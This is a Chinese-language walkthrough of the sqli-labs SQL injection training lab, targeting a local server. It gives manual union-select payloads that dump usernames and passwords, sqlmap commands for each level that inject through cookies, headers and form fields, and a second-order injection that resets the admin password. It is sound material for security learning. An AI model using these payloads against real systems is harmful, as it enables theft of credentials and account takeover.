Less 1

  1. get传参id=1’,通过报错可知使用单引号闭合

  2. 使用注释符号绕开报错(–+,-- ,#都可以,但此处若要使用#需编码为%23)

  3. 通过order by结合报错,判断出当前表有3列

  4. 通过union select 1,2,3结合输出判断,可利用2、3位置显示信息(id=1需改成-1)

  5. 查库:?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+

    获得库名:information_schema,challenges,mysql,performance_schema,security

  6. 查表:?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’

    获得表名:emails,referers,uagents,users

  7. 查字段:?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’

    获得字段:id,username,password

  8. 查信息:?id=-1’ union select 1,2,group_concat(concat_ws(‘:’,username,password)) from security.users

    获得所有用户的用户名及密码(太多了不贴上来了)

​ 实际做题时把要用到单引号的内容转为十六进制了,虽然影响不大,但好像据说这会是个好习惯?

Less 2

  1. get传参id=1’,通过报错可知没有用啥东西闭合。后面步骤基本相同

Less 3

  1. get传参id=1,通过报错可知使用(‘’)闭合。后面步骤基本相同

Less 4

  1. get传参id=1’,无报错。id=1",通过报错可知使用(“”)闭合。后面步骤基本相同

Less 5

要盲注了,纯手注过于麻烦,所以要用工具的话那就试试万能的sqlmap吧!

  1. 查库:sqlmap -u “http://127.0.0.1:3306/Less-5/?id=1” --dbs
  2. 查表:sqlmap -u “http://127.0.0.1:3306/Less-5/?id=1” --tables -D “security”
  3. 查字段:sqlmap -u “http://127.0.0.1:3306/Less-5/?id=1” --columns -D “security” -T “users”
  4. 查信息:sqlmap -u “http://127.0.0.1:3306/Less-5/?id=1” --dump -D “security” -T “users”

后面也基本是这样的步骤,主要是找注入点,就只贴上查库这步的命令了

Less 6

sqlmap -u “http://127.0.0.1:3306/Less-6/?id=1” --dbs

Less 7

sqlmap -u “http://127.0.0.1:3306/Less-7/?id=1” --dbs

Less 8

sqlmap -u “http://127.0.0.1:3306/Less-8/?id=1” --dbs

Less 9

sqlmap -u “http://127.0.0.1:3306/Less-9/?id=1” --dbs

Less 10

sqlmap -u “http://127.0.0.1:3306/Less-10/?id=1” --dbs

Less 11

sqlmap -u “http://127.0.0.1:3306/Less-11/” --data=“uname=admin&passwd=admin&submit=Submit” --dbs

Less 12

sqlmap -u “http://127.0.0.1:3306/Less-12/” --data=“uname=admin&passwd=admin&submit=Submit” --dbs

Less 13

sqlmap -u “http://127.0.0.1:3306/Less-13/” --data=“uname=admin&passwd=admin&submit=Submit” --dbs

Less 14

sqlmap -u “http://127.0.0.1:3306/Less-14/” --data=“uname=admin&passwd=admin&submit=Submit” --dbs

Less 15

sqlmap -u “http://127.0.0.1:3306/Less-15/” --data=“uname=admin&passwd=admin&submit=Submit” --dbs

Less 16

sqlmap -u “http://127.0.0.1:3306/Less-16/” --data=“uname=admin&passwd=admin&submit=Submit” --level=5 --risk=3 --dbs

Less 17

sqlmap -u “http://127.0.0.1:3306/Less-17/” --data=“uname=admin&passwd=admin&submit=Submit” --dbs

Less 18

sqlmap -u “http://127.0.0.1:3306/Less-18/” --data=“uname=admin&passwd=admin&submit=Submit” --user-agent=“*” --dbs

Less 19

sqlmap -u “http://127.0.0.1:3306/Less-19/” --data=“uname=admin&passwd=admin&submit=Submit” --referer=“*” --dbs

Less 20

sqlmap -u “http://127.0.0.1:3306/Less-20/index.php” --cookie=“uname=*” --dbs

Less 21

sqlmap -u “http://127.0.0.1:3306/Less-21/index.php” --cookie=“uname=*” --dbs --tamper “base64encode.py

Less 22

sqlmap -u “http://127.0.0.1:3306/Less-22/index.php” --cookie=“uname=*” --dbs --tamper “base64encode.py

Less 23

sqlmap -u “http://127.0.0.1:3306/Less-23/?id=1” --dbs

Less 24

刚点开网页一脸懵逼,不知道能干啥,然后才查了查二次注入,只能说第一个这么干的还真是个人才。

  1. 进入注册界面,注册用户admin‘#,密码随意
  2. 进入密码修改界面,修改密码为123456
  3. 用户admin密码被更改为123456

再感叹一波,这么更改管理员密码实在是太离谱了

Less 25

sqlmap -u “http://127.0.0.1:3306/Less-25/?id=1” --dbs

Less 25a

sqlmap -u “http://127.0.0.1:3306/Less-25a/?id=1” --hex --dbs